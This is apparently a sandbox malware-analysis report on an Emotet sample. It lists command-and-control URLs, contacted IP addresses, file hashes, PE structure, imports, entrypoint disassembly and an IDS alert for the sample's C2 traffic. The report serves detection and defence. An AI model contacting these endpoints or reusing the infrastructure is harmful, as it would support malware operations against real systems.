http://156.155.166.221/Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap//	0%	Avira URL Cloud	safe
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/K8A/L	0%	Avira URL Cloud	safe
https://61.19.246.238:443/yATH/	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://157.245.99.39:8080/vBtfrqns/	true	Avira URL Cloud: safe	unknown
http://137.59.187.107:8080/wzgMAgU4yK/hQXJ38hJBg9WpF6jbBc/gW3V6lKMdT6RlX5g/	true	Avira URL Cloud: safe	unknown
http://134.209.36.254:8080/Jg04eNfDVrhItWur/	true	Avira URL Cloud: safe	unknown
https://94.23.237.171:443/IBDjcvxbhNBv3Y/nqDclyv1OKh853Z8d/c8YC/	true	Avira URL Cloud: safe	unknown
http://156.155.166.221/Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap/	true	Avira URL Cloud: safe	unknown
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/	true	Avira URL Cloud: safe	unknown
http://71.72.196.159/aoKx6lT2Eqq9moIppG/ExQB/6Redr3THd8vjzdN/FzfGJ5z/btYoJOlmO4gRopK8A/	true	Avira URL Cloud: safe	unknown
http://94.23.216.33/FJlVHXJ3dGgmVB/	true	Avira URL Cloud: safe	unknown
https://61.19.246.238:443/yATH/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://157.245.99.39:8080/vBtfrqns/b	oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://137.59.187.107:8080/wzgMAgU4yK/hQXJ38hJBg9WpF6jbBc/gW3V6lKMdT6RlX5g/E	oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/K8A/	oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.23.216.33/FJlVHXJ3dGgmVB/8	oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A//h	oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://157.245.99.39:8080/vBtfrqns/&	oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/7	oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://156.155.166.221/Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap/ET	oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/)	oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/K8A/L	oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://156.155.166.221/Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap//	oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
94.200.114.161	unknown	United Arab Emirates	15802	DU-AS1AE	true
71.72.196.159	unknown	United States	10796	TWC-10796-MIDWESTUS	true
85.152.162.105	unknown	Spain	12946	TELECABLESpainES	true
174.102.48.180	unknown	United States	10796	TWC-10796-MIDWESTUS	true
169.239.182.217	unknown	South Africa	37153	xneeloZA	true
200.123.150.89	unknown	Argentina	16814	NSSSAAR	true
220.245.198.194	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	true
104.131.11.150	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
176.111.60.55	unknown	Ukraine	24703	UN-UKRAINE-ASKievUkraineUA	true
94.23.237.171	unknown	France	16276	OVHFR	true
187.161.206.24	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	true
139.162.108.71	unknown	Netherlands	63949	LINODE-APLinodeLLCUS	true
156.155.166.221	unknown	South Africa	37611	AfrihostZA	true
104.32.141.43	unknown	United States	20001	TWC-20001-PACWESTUS	true
94.1.108.190	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	true
87.106.139.101	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
213.196.135.145	unknown	Switzerland	21040	DATAPARKCH	true
62.30.7.67	unknown	United Kingdom	5089	NTLGB	true
79.98.24.39	unknown	Lithuania	62282	RACKRAYUABRakrejusLT	true
107.5.122.110	unknown	United States	7922	COMCAST-7922US	true
75.139.38.211	unknown	United States	20115	CHARTER-20115US	true
87.106.136.232	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
110.5.16.198	unknown	Japan	4685	ASAHI-NETAsahiNetJP	true
104.131.44.150	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
62.75.141.82	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	true
124.41.215.226	unknown	Nepal	17501	WLINK-NEPAL-AS-APWorldLinkCommunicationsPvtLtdNP	true
172.91.208.86	unknown	United States	20001	TWC-20001-PACWESTUS	true
37.139.21.175	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
153.137.36.142	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	true
194.187.133.160	unknown	Bulgaria	13124	IBGCBG	true
24.43.99.75	unknown	United States	20001	TWC-20001-PACWESTUS	true
95.213.236.64	unknown	Russian Federation	49505	SELECTELRU	true
46.105.131.79	unknown	France	16276	OVHFR	true
139.130.242.43	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	true
82.80.155.43	unknown	Israel	8551	BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL	true
110.145.77.103	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	true
61.92.17.12	unknown	Hong Kong	9269	HKBN-AS-APHongKongBroadbandNetworkLtdHK	true
120.150.60.189	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	true
93.147.212.206	unknown	Italy	30722	VODAFONE-IT-ASNIT	true
91.211.88.52	unknown	Ukraine	206638	HOSTFORYUA	true
153.232.188.106	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	true
68.188.112.97	unknown	United States	20115	CHARTER-20115US	true
140.186.212.146	unknown	United States	11232	MIDCO-NETUS	true
121.7.127.163	unknown	Singapore	9506	SINGTEL-FIBRESingtelFibreBroadbandSG	true
50.35.17.13	unknown	United States	27017	ZIPLY-FIBER-LEGACY-ASNUS	true
157.245.99.39	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
203.153.216.189	unknown	Indonesia	45291	SURF-IDPTSurfindoNetworkID	true
174.45.13.118	unknown	United States	33588	BRESNAN-33588US	true
162.241.242.173	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
96.249.236.156	unknown	United States	701	UUNETUS	true
123.176.25.234	unknown	Maldives	7642	DHIRAAGU-MV-APDHIVEHIRAAJJEYGEGULHUNPLCMV	true
85.105.205.77	unknown	Turkey	9121	TTNETTR	true
74.120.55.163	unknown	Canada	32315	WJBTN-ASCA	true
200.114.213.233	unknown	Argentina	10318	TelecomArgentinaSAAR	true
50.91.114.38	unknown	United States	33363	BHN-33363US	true
78.24.219.147	unknown	Russian Federation	29182	THEFIRST-ASRU	true
24.179.13.119	unknown	United States	20115	CHARTER-20115US	true
139.99.158.11	unknown	Canada	16276	OVHFR	true
201.173.217.124	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	true
134.209.36.254	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
75.80.124.4	unknown	United States	20001	TWC-20001-PACWESTUS	true
195.251.213.56	unknown	Greece	12364	UOMGR	true
121.124.124.40	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
47.144.21.12	unknown	United States	5650	FRONTIER-FRTRUS	true
139.59.60.244	unknown	Singapore	14061	DIGITALOCEAN-ASNUS	true
61.19.246.238	unknown	Thailand	9335	CAT-CLOUD-APCATTelecomPublicCompanyLimitedTH	true
168.235.67.138	unknown	United States	3842	RAMNODEUS	true
137.59.187.107	unknown	Hong Kong	18106	VIEWQWEST-SG-APViewqwestPteLtdSG	true
219.74.18.66	unknown	Singapore	9506	SINGTEL-FIBRESingtelFibreBroadbandSG	true
78.187.156.31	unknown	Turkey	9121	TTNETTR	true
188.219.31.12	unknown	Italy	30722	VODAFONE-IT-ASNIT	true
83.169.36.251	unknown	Germany	20773	GODADDYDE	true
74.134.41.124	unknown	United States	10796	TWC-10796-MIDWESTUS	true
42.200.107.142	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	true
5.196.74.210	unknown	France	16276	OVHFR	true
1.221.254.82	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
74.208.45.104	unknown	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
120.138.30.150	unknown	New Zealand	45179	SITEHOST-AS-APSiteHostNewZealandNZ	true
84.39.182.7	unknown	Spain	15704	AS15704ES	true
97.82.79.83	unknown	United States	20115	CHARTER-20115US	true
24.137.76.62	unknown	Canada	11260	EASTLINK-HSICA	true
82.225.49.121	unknown	France	12322	PROXADFR	true
37.187.72.193	unknown	France	16276	OVHFR	true
181.169.34.190	unknown	Argentina	10318	TelecomArgentinaSAAR	true
95.179.229.244	unknown	Netherlands	20473	AS-CHOOPAUS	true
109.74.5.95	unknown	Sweden	43948	GLESYS-ASSE	true
74.219.172.26	unknown	United States	5787	SNAPONSBSUS	true
79.137.83.50	unknown	France	16276	OVHFR	true
103.86.49.11	unknown	Thailand	58955	BANGMODENTERPRISE-THBangmodEnterpriseCoLtdTH	true
209.141.54.221	unknown	United States	53667	PONYNETUS	true
89.216.122.92	unknown	Serbia	31042	SERBIA-BROADBAND-ASSerbiaBroadBand-SrpskeKablovskemreze	true
185.94.252.104	unknown	Germany	197890	MEGASERVERS-DE	true
5.39.91.110	unknown	France	16276	OVHFR	true
137.119.36.33	unknown	United States	11426	TWC-11426-CAROLINASUS	true
104.236.246.93	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
94.23.216.33	unknown	France	16276	OVHFR	true
219.75.128.166	unknown	Japan	17511	OPTAGEOPTAGEIncJP	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1495943
Start date and time:	2024-08-20 18:06:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ExeFile (317).exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/0@0/97
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 47 Number of non-executed functions: 70
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: ExeFile (317).exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
94.200.114.161	ExeFile (226).exe	Get hash	malicious	Emotet	Browse	94.200.114.161/KN2k/QHavZNk7lTSx8eJLpbP/0vd7gjsQ5TsEb0Rcx/
94.200.114.161	ExeFile (106).exe	Get hash	malicious	Emotet	Browse	94.200.114.161/cHAjU/OuEQIhBlus38A7g/
71.72.196.159	ExeFile (356).exe	Get hash	malicious	Emotet	Browse	71.72.196.159/U79iM382/IZ04Joc/eLC1daPUos8/
	ExeFile (196).exe	Get hash	malicious	Emotet	Browse	71.72.196.159/2IGyEh4lLVAFVrg/6EDAF/YrTlOqfPq/7ALhWaZlzInVzVn7fD/bAqO88sEz98xOzh/VXmfH3epoFKlKrI/
	3Zn3npGt2R.doc	Get hash	malicious	Unknown	Browse	71.72.196.159/jzbe8u/
85.152.162.105	ExeFile (360).exe	Get hash	malicious	Emotet	Browse
	ExeFile (356).exe	Get hash	malicious	Emotet	Browse
	ExeFile (226).exe	Get hash	malicious	Emotet	Browse
	ExeFile (145).exe	Get hash	malicious	Emotet	Browse
	ExeFile (156).exe	Get hash	malicious	Emotet	Browse
	ExeFile (196).exe	Get hash	malicious	Emotet	Browse
	ExeFile (106).exe	Get hash	malicious	Emotet	Browse
	KBDYAK.exe	Get hash	malicious	Emotet	Browse
	task1.exe	Get hash	malicious	Emotet	Browse
	task1.exe	Get hash	malicious	Emotet	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TWC-10796-MIDWESTUS	ExeFile (347).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (349).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (360).exe	Get hash	malicious	Emotet	Browse	74.134.41.124
	ExeFile (356).exe	Get hash	malicious	Emotet	Browse	74.134.41.124
	ExeFile (369).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (367).exe	Get hash	malicious	Emotet	Browse	72.135.200.124
	ExeFile (371).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (378).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (384).exe	Get hash	malicious	Emotet	Browse	174.100.27.229
	ExeFile (388).exe	Get hash	malicious	Emotet	Browse	66.61.94.36
TWC-10796-MIDWESTUS	ExeFile (347).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (349).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (360).exe	Get hash	malicious	Emotet	Browse	74.134.41.124
	ExeFile (356).exe	Get hash	malicious	Emotet	Browse	74.134.41.124
	ExeFile (369).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (367).exe	Get hash	malicious	Emotet	Browse	72.135.200.124
	ExeFile (371).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (378).exe	Get hash	malicious	Emotet	Browse	74.136.144.133
	ExeFile (384).exe	Get hash	malicious	Emotet	Browse	174.100.27.229
	ExeFile (388).exe	Get hash	malicious	Emotet	Browse	66.61.94.36
TELECABLESpainES	ExeFile (360).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	ExeFile (356).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	ExeFile (226).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	ExeFile (145).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	ExeFile (156).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	ExeFile (171).exe	Get hash	malicious	Emotet	Browse	93.156.165.186
	ExeFile (196).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	ExeFile (106).exe	Get hash	malicious	Emotet	Browse	85.152.162.105
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	188.171.114.252
	arm7.elf	Get hash	malicious	Mirai	Browse	188.171.226.33
DU-AS1AE	ExeFile (360).exe	Get hash	malicious	Emotet	Browse	94.200.114.161
	ExeFile (356).exe	Get hash	malicious	Emotet	Browse	94.200.114.161
	ExeFile (377).exe	Get hash	malicious	Emotet	Browse	91.75.75.46
	ExeFile (384).exe	Get hash	malicious	Emotet	Browse	94.206.45.18
	ExeFile (39).exe	Get hash	malicious	Emotet	Browse	91.75.75.46
	ExeFile (64).exe	Get hash	malicious	Emotet	Browse	91.75.75.46
	ExeFile (22).exe	Get hash	malicious	Emotet	Browse	94.200.114.161
	ExeFile (285).exe	Get hash	malicious	Emotet	Browse	91.75.75.46
	ExeFile (226).exe	Get hash	malicious	Emotet	Browse	94.200.114.161
	ExeFile (145).exe	Get hash	malicious	Emotet	Browse	94.200.114.161

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.185263206813159
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ExeFile (317).exe
File size:	437'248 bytes
MD5:	1d94974d27fc9127c69992d325afbc89
SHA1:	f238ed9987b52b8368c872804e64fea64360f0be
SHA256:	8c040d75defb681d1757421cad1fde62b74ba124a23e3b9ab3826d9806dcb35a
SHA512:	f700f54141b1d7d628bb2c64b2d6aae85225d9839d79b16c7179ccc86210723eb3d237c453b1e15fbe19eb150cc688470cb833c47b7e3a7dcd285ecc0491098b
SSDEEP:	6144:vXBr9LW/6DUvum8471YQvq6H/iaRT8oITZO/rVurq:vXdNDDUvum845lv7Ha+ThmZo5uG
TLSH:	27947B136AC4C138F4961B35F8AAEAF14391BD1A5F3882CBFEC4775B6D671809C36606
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|..L...L...L...#k..\...#k*.,...Ee..A...L...<...#k+.e...#k..M...k.[.M...#k..M...RichL...................PE..L.....e_...........

File Icon


Icon Hash:	0e0e0f0d1e3add1f

Static PE Info

General

Entrypoint:	0x410a9b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F6508C3 [Fri Sep 18 19:21:39 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	39948763cc1873dc50981ea479aab099

Entrypoint Preview

Instruction
call 00007FCFE4E11625h
jmp 00007FCFE4E0D90Eh
mov edi, edi
push ebp
mov ebp, esp
mov edx, dword ptr [ebp+08h]
push esi
push edi
test edx, edx
je 00007FCFE4E0DA89h
mov edi, dword ptr [ebp+0Ch]
test edi, edi
jne 00007FCFE4E0DA95h
call 00007FCFE4E0EDF2h
push 00000016h
pop esi
mov dword ptr [eax], esi
call 00007FCFE4E0ED96h
mov eax, esi
jmp 00007FCFE4E0DAB5h
mov eax, dword ptr [ebp+10h]
test eax, eax
jne 00007FCFE4E0DA86h
mov byte ptr [edx], al
jmp 00007FCFE4E0DA64h
mov esi, edx
sub esi, eax
mov cl, byte ptr [eax]
mov byte ptr [esi+eax], cl
inc eax
test cl, cl
je 00007FCFE4E0DA85h
dec edi
jne 00007FCFE4E0DA75h
test edi, edi
jne 00007FCFE4E0DA93h
mov byte ptr [edx], 00000000h
call 00007FCFE4E0EDBCh
push 00000022h
pop ecx
mov dword ptr [eax], ecx
mov esi, ecx
jmp 00007FCFE4E0DA48h
xor eax, eax
pop edi
pop esi
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007FCFE4E0DAA6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007FCFE4E0DAD0h
test ecx, 00000003h
jne 00007FCFE4E0DA71h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007FCFE4E0DA6Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007FCFE4E0DAB4h
test ah, ah
je 00007FCFE4E0DAA6h

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[C++] VS2010 build 30319
[EXP] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1c9f0	0x42	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1c01c	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x22000	0x4c1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6f000	0xeec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x191f0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1b838	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x19000	0x1ac	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x17a6e	0x17c00	2918294d11fcf50d51f870e66a4e619e	False	0.5352487664473684	DOS executable (COM)	6.120585434914318	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x19000	0x3a32	0x3c00	7fb0ff3fe31bdade0801fee9c309da5a	False	0.3529296875	data	4.851518814724672	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1d000	0x416c	0x1000	c6306a330127025aa96c1b57a0fcd902	False	0.221923828125	data	2.5497119214608133	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x22000	0x4c1f0	0x4c200	add876cb58db3633c854af0e75fe9ec8	False	0.31388867508210183	data	6.141207657208505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6f000	0x1d30	0x1e00	ea9aac25c86f4cd5d2db5957b7bc6e8f	False	0.4217447916666667	data	4.176257282412653	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
DAGHHHHHTY	0x22520	0xde00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	English	United States	0.506809543918919
RT_ICON	0x30320	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x328c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x34e70	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x37418	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x399c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x3bf68	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x3e510	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x40ab8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x43060	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x45608	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x47bb0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x4a158	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x4c700	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x4eca8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x51250	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x537f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x55da0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x58348	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x5a8f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_ICON	0x5ce98	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5428423236514522
RT_GROUP_ICON	0x5f440	0x11e	data	English	United States	0.24125874125874125
RT_MANIFEST	0x5f560	0x15a	ASCII text, with CRLF line terminators	English	United States	0.5491329479768786
None	0x5f6bc	0xeb33	data	English	United States	1.0004318147846738

Imports

DLL	Import
KERNEL32.dll	VirtualAlloc, Process32NextW, Process32FirstW, CreateToolhelp32Snapshot, CreateThread, SetStdHandle, SetFilePointer, WriteConsoleW, LoadLibraryW, GetStringTypeW, LCMapStringW, FlushFileBuffers, GetConsoleMode, GetConsoleCP, HeapReAlloc, MultiByteToWideChar, CreateProcessW, OpenProcess, TerminateProcess, QueryFullProcessImageNameW, CloseHandle, GetCurrentProcess, GetLastError, FormatMessageW, IsValidCodePage, GetOEMCP, GetACP, GetCPInfo, GetSystemTimeAsFileTime, HeapAlloc, RaiseException, RtlUnwind, EncodePointer, DecodePointer, GetCommandLineA, HeapSetInformation, GetStartupInfoW, HeapFree, EnterCriticalSection, LeaveCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, IsProcessorFeaturePresent, GetProcAddress, GetModuleHandleW, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameW, HeapCreate, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, Sleep, HeapSize, GetModuleFileNameA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, CreateFileW
USER32.dll	SendMessageW, CreateWindowExW, wsprintfW, LoadIconW, LoadCursorW, RegisterClassExW, SetTimer, UpdateWindow, GetMessageW, TranslateMessage, DispatchMessageW, PostQuitMessage, ShowWindow, MessageBoxW, SetWindowTextW, GetWindowTextW, DefWindowProcW
ADVAPI32.dll	GetUserNameW, GetTokenInformation, LookupAccountSidW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges
COMCTL32.dll	InitCommonControlsEx
PSAPI.DLL	GetProcessMemoryInfo
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW

Exports

Name	Ordinal	Address
Run	1	0x40ec40

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-20T18:08:26.272087+0200	TCP	2030868	ET MALWARE Win32/Emotet CnC Activity (POST) M10	1	49739	8080	192.168.2.4	120.138.30.150
